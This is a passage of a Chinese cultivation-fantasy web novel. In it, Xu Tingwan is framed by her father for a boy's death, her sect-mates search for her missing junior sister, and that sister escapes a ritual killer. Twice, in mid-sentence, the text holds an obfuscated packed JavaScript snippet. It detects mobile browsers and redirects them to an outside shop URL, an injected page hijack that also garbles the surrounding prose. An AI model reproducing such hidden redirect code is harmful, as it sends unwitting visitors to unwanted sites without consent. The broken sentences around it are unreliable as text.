“听晚,你准备去哪?”徐君彦的声音虽柔和儒雅,却莫名让徐听晚心生寒意。 “我打算去一趟下南城。”她回答道。 “去做什么?”他的声音步步紧逼。 徐听晚硬着头皮向前走了两步,故作烦躁地说:“听说下南城有个温泉池,能滋养丹田,我想去试试。” 此刻,她的手心已满是汗水。 徐君彦微微点头:“那温泉确实不错,不过——听晚要小心,你母亲或许正想要你的命。” 徐听晚故作不知,皱眉道:“那个贱女人要杀我?” 徐君彦轻轻将食指放在她唇边,语气温柔却透着寒意:“尽管她让我们蒙羞,但我们仍需保持体面,这样才能赢得人们的支持。” 徐听晚轻哼一声,面上满是厌恶,咬牙切齿地说:“身为她的女儿,真是耻辱。” 徐君彦点了点头:“放心,你不是她的女儿,你的母亲另有其人。她那个怪物孩子,早已被我处理掉了。” 闻言,徐听晚猛地一颤,随即迅速调整表情,一脸嫌弃地问:“怪物?” 徐君彦温柔的眉眼间终于露出一丝嫌恶:“她身体本就孱弱,不知用了什么偏方,竟怀上了孩子,结果生出来是个一只眼的孩子,我直接掐死扔掉了。” 徐听晚倒吸一口凉气,问:“那我的母亲究竟是谁?” 徐君彦往后退了几步,眼神恍惚了一瞬,过了许久才缓缓回答:“我曾答应过她,不告诉任何人。” 徐听晚微微蹙眉,随即点了点头,说道:“林流华想要我的命,那父亲就带我去下南城泡温泉吧。”她带着几分撒娇的意味,轻轻抱住了徐君彦的胳膊。 徐君彦面色平静,嘴角勾起一抹笑意:“好啊,只要听晚肯帮父亲办事,父亲定会永远守护着你。” “嗯!”她假装欢喜地应了下来,心中却暗自思量。若非小时候测完灵根后无意间听到他想杀自己的话,看他此刻这副宠溺的模样,她或许还真会信以为真。 如今林流华已成弃子,他自然得寻找新的棋子来替代,毕竟许多事情他都不方便亲自动手。 这样哄骗小孩子的话,若是讲给她那另一半灵魂听,或许她就不会来到这个地方了。 直到现在,都没有任何线索表明她的灵魂为何会被分成两半。她心中有一个直觉,或许她的亲生母亲会知晓其中的秘密。 关于询问万安的事情,也只能暂时搁置,只能等到下次前往沧澜符宗参加秘境对决时,再寻找机会去探问了。 徐听晚抵达了下南城的温泉池畔,她的父亲在另一间包房内静候。这里的温泉水源自一个庞大的天然泉眼,其疗养效果确实名不虚传。 徐听晚缓缓脱下衣物,将发簪轻轻摘下,放置在温泉池边。她沉浸于温泉的温润之中,试图让这份滋养缓解她脑中的疼痛。然而,那疼痛依旧顽固,没有丝毫减退的迹象。她用手捂住额头,方才因紧张而暂时忘却的痛楚,此刻在放松之下愈发明显。 柳清云曾言,这头痛乃心病所致,无药可医,唯有依靠自身慢慢调养。但徐听晚深知,还有许多事情尚未处理完毕,她又怎能轻易停下脚步? 此时,一旁的黄玉银蝶发簪微微闪烁着光芒,随即又猛地熄灭。 徐听晚曲起双腿,弯腰低头,双手紧紧捂着脑袋。清冽的泉水与她的鼻尖轻轻相撞,就在这瞬间,一个计策猛然间在她的脑海中闪现,她猛地抬起了头。 父亲这样去逼迫母亲,肯定不行! 他们两人曾是一条船上的伙伴,彼此间知晓的秘密不在少数,而这些秘密都是他们共同经历的。 倘若两人反目成仇,这些秘密便会成为他们相互要挟的筹码。母亲或许不会主动将这些事情说破,毕竟她也有份参与,但父亲绝不会完全信任她,唯一的解决办法便是灭口。 虽然母亲不会轻易将这些事情说破,但若是被逼到了绝境呢? 如果她假扮成父亲去逼迫母亲,再故意传播 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14099766|146283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 消息吓唬父亲,让他们两人争斗起来,那么最终的受益者只有她。 徐听晚突然想起了柳清云给她的止痛丹药,被她遗忘在了床上,难怪柳清云会追过来。 脑袋的闷痛感愈发强烈,渐渐地变得麻木,她的眼神也开始涣散,整个人猛地沉入了水中。冰冷的泉水猛地灌入她的鼻腔,强烈的窒息感瞬间让她清醒过来。 她挣扎着起身,迅速穿好衣服,坐在池边,轻轻地抚摸着额头。 母亲的面容在她脑海中一闪而过,紧接着,一个不带丝毫情感的女声在她识海中响起,是判决剑。 “你需休息。” 判决剑的声音不带任何情感波动,却蕴含着不容置疑的绝对威严。这是徐听晚第一次听到这样的判决剑的声音。 此刻,她发丝上的水滴轻轻溅落在地面,赤脚踏在地面上的放松感,让她微微松了一口气,仿佛找到了一丝喘息的空间。她轻叹一声,心中暗自感叹:“我真的,有些疲惫了。” 随后,她蜷缩着身体躺在池边,缓缓地闭上了眼睛,任由自己沉浸在一片宁静之中。周围是红木制成的薄纱屏风,盆景修剪得如同云朵般轻盈,流水哗哗作响,营造出一种闲情雅致的氛围。 头顶上的青瓦被悄然掀开,伴随着一阵细微的窸窣声响。 徐听晚对此却毫无察觉。 “徐姐姐?那位老人家不是说这里有个老修士在强抢少女吗?”周落私疑惑地挠了挠头。 他原本正慵懒地躺在不远处的屋顶上,突然听到下方有个老人家喊道:“小友,我刚才看到一个老修士强行拉着一个女孩进去了,你离得近,快去瞧瞧是不是真的有事。” 闻言,他立刻从屋顶上跳起,顺着老人家所指的方向快步赶去。他掀开青瓦,却发现里面只有徐听晚一人静静地躺着。 “谁!谁在上面偷看!”外面的商户老板和侍卫大声喝道。 周落私生怕被误会,急忙掀开青瓦跳了进去。一旦被误会,他肯定会遭到爹娘的严厉责骂。 他急忙跑过去,想要摇醒徐听晚,然而就在这时,一道身影突然闯入,一剑刺穿了他的胸口。他眼睁睁地看着徐君彦一点点地吸收着自己的灵力,随后他便失去了意识,断了气。 徐听晚被一阵急促的脚步声猛然惊醒,她缓缓睁开眼睛,发现自己手中紧握着判决剑,剑身上沾染着触目惊心的鲜血。 紧接着,徐君彦与商户老板以及一众侍卫闯了进来,更令人意外的是,周启明也紧随其后。 徐君彦急忙上前,一把脱下自己的外衣,轻轻披在徐听晚的肩头,温柔而坚定地说:“别怕,女儿。” 徐听晚神色恍惚地望着周启明,只见他双眼赤红地冲向一旁。她的目光又落在周落私身上,那个孩子瞪大了眼睛,死死地盯着她所在的方向。 此时,判决剑在她的识海中平静地开口:“我并未目睹周落私如何死去,但我看到你父亲将我从你的储物袋中取出,抹上血迹后放在了你的手中。” 徐听晚藏在徐君彦外衣下的双手忍不住微微颤抖,她深吸一口气,想要说些什么,却发现自己喉咙发紧,一个字也吐不出来。 她不能解释,也没法解释。 她的头剧烈地疼痛着,想到周落私这样一个年幼的孩子就这样失去了生命,她忍不住用手捂住嘴巴,双眼泛起了红晕。 “弟弟!弟弟!”周启明抱起周落私冰冷的尸体,红着眼睛,死死地盯着徐听晚。 徐听晚强忍住泪水,垂下眼眸,避开了他那充满愤怒与哀伤的目光。 徐君彦见状,抢先一步,厉声喝道:“你这是什么眼神?分明是你弟弟先偷看我女儿,这里的人都可以作证。” 商户老板见状,两边都不敢得罪,只能沉默地站在一旁,不敢妄言。 沧澜符宗的人很快便赶到了。谢止寒掌门亲自率领众人进行审判,面对此景,徐听晚无言以对,而徐君彦则竭力为她辩解,完全是一副好父亲的样子。 审判的过程,她一言未发,只觉得头痛欲裂,记忆模糊,只记得自己捡起了那支黄玉银蝶发簪,以及周启明眼中满满的憎恨。 临走之际她将手中的玉牌还给了对方,只见他愤怒地将之摔碎在地,随后转身去料理弟弟的后事。 徐君彦护送她回到梅家后离开,可当她走到院落门口时,却并未踏入,而是蹲下身,蜷缩成一团。 自她踏入此地以来,每一步都走得小心翼翼,如今,她真的感到疲惫不堪。头痛愈发剧烈,泪水滴落在地,就在这时,她忽然想起了江月平,于是猛地擦干眼泪,起身走了进去。 刚推开门,便见石观明站在门口,见到她归来,他激动地迎了上来。 “月平找到了吗?”徐听晚的声音带着一丝嘶哑。 37.寻找江月平 “怎会寻人无果?”徐听晚紧握判决剑,矗立于记忆中昏迷前的最后场景——梅家城的中心,雨樟林。此地即便是她的父亲,也不敢轻易动手伤人。 她驻足于意识消散前的位置,目光掠过前方郁郁葱葱的绿叶。那晚的情景在脑海中若隐若现,月光下,叶片泛着微光,万安惊慌失措的背影渐行渐远,白雾从地底袅袅升起,既不呛人又似白烟。一瞬之间,神识被压制,血液仿佛凝固,她动弹不得。 就在这时,一个声音响起:“大师姐!”紧接着,一双纤细的手从背后推来,她猝不及防地撞在树上,随即失去了意识。 此刻,徐听晚紧握双拳,大手一挥,八卦符咒瞬间布下,阵法赫然成形。若有周围阵法,定会受到影响。梅家城的护城阵法微微晃动,周围的护卫迅速围拢,甚至惊动了远处的梅问君,他一路飞来。 “何事?”他站在强大的杀阵前问道。 见到徐听晚,他松了一口气。 “徐道友,怎么了?需要帮忙吗?” 徐听晚凝神细察脚下,感受着是否有任何波动。 八卦阵法,全开则为杀阵,肃杀之气四溢;全开则为御阵,护佑之力无穷。 符修中,擅阵法者寥寥,能将八卦全开者更是凤毛麟角,大多只能启用四卦。 徐听晚这一举动,启用八卦杀阵,震惊了在场的所有人。 柳清云面无表情地旁观,温乐天则激动地四处张望,石观明扶着柳清云,思索着大师姐的意图。 杀阵攻击性极强,影响周围其他阵法,不断消耗八卦符咒。连绵不绝的符咒从徐听晚的储物袋中飞出,她的灵力也迅速耗尽。杀阵太过耗费灵力和符咒。 随着她灵力中断,阵法消散,八卦符咒随风而逝。 除了护城大阵,周围并无其他阵法波动,除非距离极远。 因她的阵法范围有限,无法感知太远的波动。 石观明开口问道:“大师姐是想通过杀阵探查周围是否有隐藏阵法吗?” 徐听晚微微点头:“并未感受到。” 温乐天叹了口气,缓缓说道:“那晚我已经询问过城门口的侍卫了,除了万道友之外,并无其他人出城。可小师妹怎么会在城中凭空消失呢?” 梅问君走到徐听晚身旁,轻声问道:“要不我用书卷联系一下万师弟,看看他当时是否看到了什么。” 徐听晚对那个跑在最前面,连喊他名字都不敢回头的人并不抱太大希望。 “我师弟回复我了!”梅问君惊喜地喊道。 他继续说道:“他说当时听到江道友在喊大师姐,便回头看了一眼。只见一道阵法闪过,后面戴着帷帽的人将前面戴着帷帽的人推出了阵法,随后,后面戴着帷帽的人便消失了。他又看到徐道友撞在树上,帷帽掉在一旁,人也晕了过去。他心中害怕,便跑去叫我们了。” 徐听晚瞪大了眼睛,惊讶地说道:“瞬移阵法?这阵法不是已经失传了吗?怎么会在这里出现?” 温乐天好奇地问道:“什么是瞬移阵法?” 石观明无奈地将他拉到身边,解释道:“宗门课程你是一点都没听啊。瞬移阵法是我们宗门第一百三十二代掌门所创,最初是为了瞬移杀人。但因其设立复杂、速度过慢且极其消耗灵力,后来便只能用于远距离移动了。” 温乐天轻笑一声,说道:“那时候我在宗门上课又不是亲传弟子,不像你和大师姐坐在前面认真听讲,我坐在后面整天就是睡觉。” 他揽过柳清云的脖子,继续说道:“特别是叶长老的基础丹药课,我一听就想睡觉。” 柳清云狠狠地拐了一下他的胸口,低声说道:“小点声,别打扰大师姐思考。” “唉,别以为你眼下受了伤,我就不敢触碰你,我可是你的三师兄!”话音未落,他便要伸手去揉柳清云的头顶,只见柳清云轻轻嘶了一声,温乐天的手便悬在半空,缓缓放了下来。 “话说回来,你到现在都未曾提及这伤究竟是如何得来的。”石观明轻声问道。 柳清云沉默不语,一脸倔强,显然不愿说谎。石观明见状,轻轻揉了揉他的脑袋,道:“不愿说便罢了。” 柳清云抬头望向石观明,眼神中满是无措,似乎想要解释,却又只是张了张嘴,最终没有发出声音。 温乐天轻哼一声,道:“不说也罢,我自会去查。若是有人敢欺负我师弟,我定要在他背后留下一道更深的剑痕。” 此时,徐听晚捂住脑袋,表情痛苦地皱起了眉头。柳清云见状,将一颗极品止痛丹递了过去。徐听晚接过丹药,抬头看了他一眼,随即又迅速低下头去。 服下丹药后,徐听晚的痛苦减轻了不少,只剩下一种暂且可以忍受的闷胀感。 “若是瞬移阵法所致,我们大家在附近找找看吧。”她脸色苍白,声音微弱地说道。 梅问君微微颔首,说道:“我会派人协助你们。今年入冬之后,我便要回宗门了,若有急事,可寻我妹妹相助。” 柳清云秀眉紧蹙,担忧道:“可梅家主与梅夫人那边……” 梅问君轻轻摇头,无奈道:“小师妹已离宗,三师妹与大师姐闭关修炼,四师弟万安不善管理,师父亦不知所踪,宗门事务皆落在四位长老肩上,我实难置身事外。” 温乐天收起玩世不恭的笑容,神色凝重地问道:“李莫离为何离宗?” 梅问君再次摇头,表示并不知情。随即,他似是想起了什么,补充道:“你们或许还不知道,今日玄天剑宗的周启明也宣布离宗了。” 徐听晚心中隐隐有了猜测,与梅问君目光交汇。 温乐天早已通过黑阁的书卷得知了周启明与周落私之事,他望向远方,轻叹一声:“我始终相信大师姐!” 徐听晚厉声打断:“好了!” 柳清云一脸困惑,问道:“这与大师姐有何干系?” 温乐天缓缓开口:“周落私前日已死,书卷上记载,他因偷看大师姐泡温泉,被大师姐一剑穿心。” 柳清云闻言,眉头皱得更紧。徐听晚本以为他会痛斥自己狠毒,不料他只是撇撇嘴,坚定道:“我也相信大师姐。” 石观明轻拍了两人的脑袋,笑道:“你们俩这是在干什么?争着表忠心吗?” 徐听晚眨了眨眼,胸口涌起一股莫名的情感,梗塞在喉间。然而,这些委屈与痛苦,她只能默默承受,深藏心底。 “嗯。”她轻声回应,随即转身,目光温柔地落在了周围那些比寻常树叶更加碧绿的雨樟树叶上。那些树叶的形状宛如一滴晶莹的眼泪,独特而动人。 这雨樟树叶,还有一个别致的名字——泪不停。因为每逢下雨天,雨水便会沿着落叶缓缓滴落,宛如连绵不断的眼泪。然而,这雨樟也有它的独特之处,一到冬天,它便会在一夜之间落尽所有叶子,只剩下光秃秃的枝干,静静地等待着来年春天的重新发芽。 梅问君望着她渐渐远去的背影,心中涌起一股不舍之情,他开口道:“徐道友,此番一别,不知何时才能再相见。不如我们加一个书卷吧,若有需要帮忙之处,你尽管叫我。”说着,他一步步走到徐听晚身边,徐听晚轻轻点头,拿起书卷,两人轻轻一碰,便完成了相连。 “周落私自偷窥本是不对,但在沧澜符宗,男子若是偷取女子衣服,那便是重犯,是要被打散修为、赶出宗门的。”此时的他,一脸严肃,一丝不苟地为徐听晚辩解,然而他的衣袖却被风吹得微微褶皱,为他平添了几分随性。 “嗯。”徐听晚轻声回应,回头望向四人,嘴角微微上扬。 此刻,她已经不愿再去忧虑其他事情,心中只挂念着小师妹的安危,迫切地想知道她此刻在哪里,是否一切安好。 “徐道友,此事便交由我来处理。”梅遇卿快步上前,轻轻拍了拍梅问君的肩头,柔声道,“你速速返回宗门吧。此番沧澜符宗愿意伸出援手,部分缘由在于兄长身为宗门亲传弟子的身份,我们算是欠下了一份人情。兄长还是尽早回去协助,爹娘这边自有我来照料。” 梅遇卿的眼眸灵动如猫,闪烁着狡黠的光芒。她与梅问君虽为兄妹,性格却大相径庭,一个憨厚老实、严谨细致,一个活泼开朗、不拘小节。 “遇卿、问君,真是悦耳动听的名字。”徐听晚眉眼弯弯,含笑望着二人。 梅遇卿脸颊微红,望向徐听晚,眉头轻蹙,眼波流转,笑道:“若徐道友是男儿身,我恐怕早已被迷得神魂颠倒了。” 徐听晚闻言,轻笑一声,问道:“这可是在夸我?” 温乐天探头插话道:“这分明是表白。” 石观明面带微笑,一把将温乐天拉回,柳清云在温乐天耳边低语:“自讨苦吃,谁让你乱说话的。” 温乐天摸了摸后颈,轻哼一声。 梅问君欲上前,却被梅遇卿轻轻一推,“兄长,莫要等到冬日再归,此刻便回宗门吧。” 梅问君瞥了一眼徐听晚,垂下眼帘,低声道:“好。” 徐听晚心生好奇,问道:“你方才似乎有话想说?” 梅问君一愣,道:“没什么,刚才只是想上前帮你找找你的小师妹。”他自然不会承认,自己是为了能更清楚地看到她的面容才迈步向前的。 言毕,他转身离去,留给徐听晚一个略显笨拙的背影,言语间逻辑似乎也有些跳跃。 梅遇卿自然而然地挽起徐听晚的臂膀,轻声说道:“我已安排巡逻侍卫分批在附近搜寻,城外亦有侍卫组队寻找,你们暂且歇息片刻吧。” 温乐天轻叹一声,无奈道:“小师妹失踪,有人重伤初愈便急着寻找,他怎会安心休息呢?” 柳清云眉头紧锁,打趣道:“若是你那珍贵的香囊遗失,只怕你比我还焦急吧。” 温乐天未加理会,转身离去,自言自语道:“我去那边看看。”此时,整个天河大陆的黑阁行商都在暗中协助寻找。 柳清云意识到自己触及了他的伤心事,眼神中流露出一丝愧疚。石观明轻轻揉了揉他的头发,安慰道:“日月如磨蚁,万事且浮休。” 柳清云抬头望向石观明,满怀期待地问道:“二师兄,我何时能长得和你一样高呢?” “晚上睡觉时。”石观明简短回答。 他兴奋地追问:“睡觉就可以长高吗?” 石观明轻笑一声,调侃道:“梦里或许可以。” 柳清云嘴角微扬,不甘示弱道:“二师兄,你等着瞧,总有一天我会比你更高,到时候我要天天摸你的头。” 石观明嗤笑一声,眼神狡黠如狐:“你学医的,还不清楚这可能性吗?”说完,他眯眼一笑。 “二师兄对外人都是温温柔柔的,对我和三师兄就是一个大嘴巴子。”柳清云抱怨道。 “那是因为,除了你们四人,我别无期待。”石观明收起笑容,面容冷漠地捏了捏柳清云的脸颊。 柳清云摆了摆手,笑道:“好啦好啦,我们去找小师妹吧。对了,二师兄,你每到冬天嗓子便不舒服,我在梅家丹书上看到一种灵草能润喉,我炼成丹药给你试试。” 石观明皱眉道:“不知为何,每到冬天我的嗓子便干涩刺痛。” 柳清云叹息道:“二师兄,你这应该是小时候落下的顽疾吧。” 石观明的思绪猛然间被拉回到儿时,那段被外门弟子恶作剧般关进木箱、扔在雪地中的痛苦记忆。那时,他只能依稀听见外界之人的赌约,猜测自己何时能解开这残酷的“箱子密码”,伴随着自己声嘶力竭的呼喊与求救。 他在那狭小的空间内被囚禁了漫长的时间,嗓音因呼喊而变得嘶哑,干渴得几乎要裂开,身体在刺骨的寒冷中颤抖不已。 寒冷侵袭至骨髓,他不得不用头发紧紧缠住脖颈以抵御;干渴难耐,他甚至开始舔舐自己的泪水;时间仿佛凝固,他在昏迷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14111711|146283||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 与苏醒间反复挣扎,却始终无法逃离那黑暗的囚笼。 “罢了,过往云烟,无须再提。”石观明暗自叹息。 柳清云轻叹一声,语气中带着几分感慨:“人命,竟是如此脆弱。” 石观明转头看向他,嘴角勾起一抹淡笑:“何事让你如此感慨?” 柳清云紧了紧身上的浅蓝色披风,缓缓道:“昨晚与万哥闲聊时,得知将我从河中救起的母亲已不幸离世。万哥此次回来是为了祭奠母亲,他还说,若我有空,便代他去看看。今年,他或许无法亲自前往了。” 说到这里,他的眼眶微微泛红。在外人眼中,那些所谓的天之骄子、亲传弟子,起初也不过是个普通孩子。他们肩负着努力修炼、保护宗门与世人的重任,这便是他们的使命与担当。 石观明目光灼灼地望着徐听晚的背影,满怀期待地说:“待到一切尘埃落定,潜在的威胁被彻底消除,我们便能各自踏上属于自己的道路了。” 柳清云坚定地应了一声:“我们一定会赢的!” 已经很久没有感受到挽着的手臂上传来的重量,此刻却突然变得沉甸甸的。徐听晚用余光瞥着,生怕直接对视会让人误会,徒增尴尬。 “等你那驱魔丹药研制成功之日,可别忘了邀请我参加庆功宴哦。”徐听晚挽着梅遇卿的手,两人一边找寻着江月平的踪迹,一边享受着秋日里最后一抹温暖的阳光。 梅遇卿用力地点了点头,笑道:“那是自然,到时候你要是不来,我就追到五行道宗门口,非说你是个薄情寡义之人不可。” 徐听晚闻言,不禁嗤笑一声:“那可真是让人害怕呢~” 望着她的模样,她蓦地忆起那个世界的挚友,两人之间竟有着几分难以言喻的相似。 对不起,秀珍,你送我的那盆黄玫瑰,我恐怕无法妥善照料了。你一定会遇到比我更加贴心的朋友,品尝遍世间所有的美味佳肴。愿你比鸟儿更加自由翱翔,比阳光更加温暖人心,比这世上最幸福的人还要幸福几分。 想到此处,她的一滴泪水悄然滑落,她赶忙假装抹脸将其拭去,然而梅遇卿还是敏锐地捕捉到了这一幕,他微笑着安慰道:“听晚,别急,你的小师妹定会安然无恙的!” 言毕,他递给她一颗葡萄味的小糖丸。 徐听晚接过那颗与梅遇卿衣裳颜色相仿的浅紫色小糖丸,一时间愣在原地,眼眶中盈满了泪水。 “听晚,你怎么了?”梅遇卿关切地问道。 两个相似的身影悄然重合。 “晚晚,你是不是低血糖又犯了?幸好我随身带着糖。” “晚晚,我刚在手机上看到,体质虚弱的人需要多喝养生茶,你试试看。” “秀珍……” 徐听晚轻声念叨着这个名字,随即回过神来,叹了口气:“抱歉,我刚才想起了一个永远无法再见的朋友,心里有点难过。” 说完,她将糖丸放入口中。明明以前已经吃腻了秀珍钟爱的水果味硬糖,此刻却为何如此怀念? 梅遇卿又从储物袋中取出许多糖丸,笑道:“我这里什么口味的都有,原本是准备给那些不爱喝药的小孩子的。普通家庭的孩子无法承受药性过强的丹药和灵药汁液,只能将灵药熬成汤药,再兑水稀释给孩子服用。但熬制的汤药往往苦涩难咽,许多孩子都拒绝饮用。因此,经历过世间行医历练的丹修,通常都会在储物袋里备上这样的小糖丸。” 徐听晚望着梅遇卿侃侃而谈的样子,嘴角不禁微微上扬。身为医师的她如此伟大,未来即将成为家主的她也同样令人满怀期待。 “真的很棒。”徐听晚由衷地赞叹道。 梅遇卿摆手笑道:“嘿嘿嘿,听晚你可真是了不起,秘境中的身手大家可都是亲眼见证的。上北城判决凶手的那段录像,至今还在书卷上广为流传呢。” 徐听晚闻言,脸上露出疑惑之色:“还有那样的录像吗?” 梅遇卿肯定地点了点头:“虽然留影石价格不菲,但每当有人遇见你,都会忍不住将其记录下来,放到书卷上供大家讨论。只要是关于你的录像,总是能引发无数热议。” 徐听晚好奇地问道:“那他们都讨论些什么呢?” 梅遇卿说着,便拿出书卷递给她看。书卷上正播放着她匆匆走过的画面。 下方的讨论如潮水般涌来: “她本人比录像上还要好看!!!” “因为她,现在修士中最流行的颜色便是浅黄色。以前散修们一半穿白色,一半穿黑色,现在却变成了一半浅黄,一半黑色和白色。” “我觉得浅黄色在她身上显得格外尊贵。” “我买了好几件浅黄色的衣服,可惜平常得穿宗服,只能外出历练的时候才能穿。” “哼,不过是天赋好罢了,大家何必这么追捧她?” “她是掌门之女,修炼的资源自然全都流向她,有什么好羡慕的。” …… 徐听晚看着这些讨论,轻笑两声,道:“无需人夸颜色好,只流清气满乾坤。若是我能达到姜满前辈那般境界,便不会有人再议论我的是非了。” 梅遇卿闻言,点了点头,道:“可要达到那般程度,必然十分艰辛。” 徐听晚没有多说什么,在她心中,只要成为第一,便无人敢小看她,也无人能威胁到她。 她紧紧握紧了拳头,突然,书卷在储物袋里晃动了一下。 徐听晚迅速拿出书卷,看到上面的消息后,不禁瞪大了眼睛。 与此同时,独自一人走向一处的温乐天,一边看着书卷黑阁的搜索消息,一边自己四处张望寻找,仿佛只要让自己沉浸于忙碌之中,便能忘却诸多事情。 当大师姐的书卷消息终于传来,他长舒一口气,神情麻木地环顾四周。 手中不自觉地摩挲着腰间的香囊,目光空洞地望向天空,一滴晶莹的泪珠悄然滑落。 38.入冬 徐听晚长长地舒了一口气,说道:“小师妹没事,她已经给我发了消息,说过段时间才能回来。” 梅遇卿闻言,笑着安慰道:“我就说嘛,肯定没事的。那我现在去通知大家,不用再找了。” 望着梅遇卿离去的背影,徐听晚的脸上浮现出一抹柔和的光芒,但渐渐地,她的眼神变得有些迷离,透出一股落寞与冷漠。 “大师姐。”一个声音打断了她的思绪。 徐听晚闻声转过头,只见石观明正站在那里,他身着洁白如云的衣服,随风轻轻飘动,全身在阳光下若隐若现,散发着淡淡的光芒。碧绿的树叶也随风摇曳,发出沙沙的声响,这一刻,他仿佛就是刺眼的光明。 徐听晚站在原地,享受着树荫下的清凉,她笃定石观明会自己走过来。 “怎么了?”她平静地问道。 石观明一步步向她走来,递给她一颗上品复灵丹,说道:“清云已经回去了,这是他让我交给你的。” 徐听晚接过丹药,轻轻点了点头,说道:“清云的伤是父亲造成的。” 随后,她将事情的经过一五一十地告诉了石观明。因为他们彼此了解,所以没有什么好隐瞒的。 “师父真是越来越偏执了。”石观明紧皱眉头,语气中充满了忧虑。 徐听晚服下丹药,灵力迅速恢复了五成。 她疲惫地闭上双眼,轻声细语道:“你来谋划一下接下来的路该如何行走吧。” 石观明抬手欲为她轻按额头,却又迅速收回,随后垂下眼帘,温柔地说道:“不妨先停下来,打坐修炼一段时间吧,这一年来你实在是太辛苦了。而我,也即将突破金丹,步入元婴之境。在此期间,我们也可以好好筹划一下下一次秘境对决的事宜,这次是在沧澜符宗的云石秘境举行。” 徐听晚闻言,睁开眼睛,轻轻点了点头:“好,就依你所言。” 说完,她伸手环抱住石观明的身躯,将头靠在他的肩膀上,继续说道:“在这个世界上,我只信赖你一人。” 石观明心中一颤,瞬间将她紧紧回拥,眼角泛红,闭上眼睛,许下承诺:“我永远……永远都不会背弃你,无论你做什么,我都会坚定地支持你,哪怕你需要我为你付出生命,我也在所不惜。” “我不会让你死的,我们会一起漂亮的赢下。”徐听晚松开怀抱,微笑着凝视着他。 石观明依依不舍地松开手,他白皙的肌肤上染上了一抹绯红,云白色的衣衫与湿润的眼眸交相辉映,这一刻的美丽犹如短暂绽放的昙花,令人惊艳。 他平日里温柔而冷静的眼眸此刻变得楚楚可怜,满是委屈。尽管他身材高大,却在此刻低头垂眸,那姿态宛如白鹤轻衔雪莲,仙人轻捻星云,别有一番韵味。 徐听晚恍然大悟,终于明白了他为何会被誉为书卷中的第二美男,寻常见得多了倒是没觉得有什么好看的。 她牵起石观明的手,两人一同转身往回走去。 “你身为御兽修,渡劫之路本就比其他修道者更为艰难。而且,浅云也会随你一同渡劫。龙的渡劫之力究竟有多强大,至今无人知晓,你一定要万分小心。如今,浅云现出原形,体型已如成年男子般粗壮。待它渡完劫,想必会变得更加庞大。” 浅云兴奋地跑了出来,没有现原形的它只有拳头般粗细,它轻轻蹭了蹭徐听晚的脸颊,张嘴对着她发出“吼吼吼”的声音。 “它在说什么呢?”徐听晚忍不住嗤笑一声问道。 石观明微笑着解释道:“它说等渡完劫后,它便能学会说人话了。” 徐听晚闻言,温柔地摸了摸浅云的脑袋,笑道:“是吗?那真是太好了。我们浅云可是个女孩子,将来说话的声音肯定特别好听。” 浅云听后,激动地连连点头,绕着他们两人欢快地飞了几圈。 与此同时,江月平这边。 她趴在地上,剧烈地喘息着,山洞的岩壁间,血迹斑斑,触目惊心。 在此之前,她先是被一阵诡异的白雾迷晕,随后被一种瞬移阵法带到了这个阴森恐怖的地方。当她睁开眼睛时,只见一个衣衫褴褛、头发蓬乱且花白的男人站在她面前,她的手脚都被牢牢地绑住。 男人手持小刀,在她的四肢上刻下了奇怪的符号。周围的一切仿佛都在进行某种神秘的仪式,祭台林立,四处散落着人体的各种组织,令人毛骨悚然。 男人缓缓放下手中的刀,用他那颤抖且嘶哑的喉咙说道:“夫人……我为你找到了一个绝美的身体……这次,你愿意来了吗?” 江月平拼尽全力抽动着身体,试图挣脱束缚。就在这时,那把原本放在地上的小刀突然飞了过来,割断了她右手上的绳索。她迅速挣脱开来,摘下背后的极品压灵符。 男人仿佛被某种莫名的力量牵引,他转向一侧,沉声道:“你终于肯现身了,我早已察觉你的存在。告诉我,为何要将我们的儿子万安送往沧澜符宗?你明知我对宗门之人深恶痛绝。” 江月平并不能看见站在男人对面的女鬼。 一个脸色苍白、泪痕斑驳的女人凝视着眼前的男人,哽咽道:“我恨你,你只顾着四处挑战,争夺那虚无缥缈的天下第一符修之名。我已身患绝症,无药可救,儿子尚且年幼,我怎能放心将他交给你照顾!” 男人踉跄后退,江月平趁机抽出青云剑,一剑穿透了男人的胸口。 随后,她无力地倒在地上,男人的修为深厚,这一剑耗尽了她所有的灵力,才勉强突破他的灵力屏障,刺入他的心口。 男人并未理会江月平,而是痛苦地仰头嘶吼,无助地向前倒下,嘴里喃喃着:“对不起。”一滴泪水滑落,他的表情竟变得异常安详,仿佛落入了某个温暖的怀抱。 四周散落着人骨,男人起初杀害的都是入魔的女子,但发现他的夫人并不接受这些身体。于是,他将目标转向了徐听晚和江月平,打算带走她们,让夫人挑选,以为这样她会满意。 然而,他没想到自己的阵法竟被江月平发现。将她抓来后,才发现这女子竟是天灵根,难怪能识破他的阵法。 这个献祭阵法,男人耗费了十多年的心血才补全,可他的夫人却不愿回来,不愿回到他的身旁。 女子轻轻抱住男人,低声说道:“若你真的心中有愧,就该多陪陪儿子。” 话音刚落,男人彻底失去了气息,体内的灵力开始肆虐。这里的封闭阵法将灵力牢牢困住,江月平意识到,这是一个千载难逢的机会。 她开始吸纳这些灵力,那些灵力感受到天灵根所蕴含的天地之气,便如同受到召唤一般,以惊人的速度向江月平汇聚。 海量的灵力疯狂地向江月平冲击,她痛苦地吐出一口鲜血,蜷缩在地面上。在无意识中,她掏出了储物袋里的留影石,看见大师姐遇见师父后的所有经历。她伸手触摸着那虚幻的影像,在这一刻,画面中的人成了她唯一的希望。 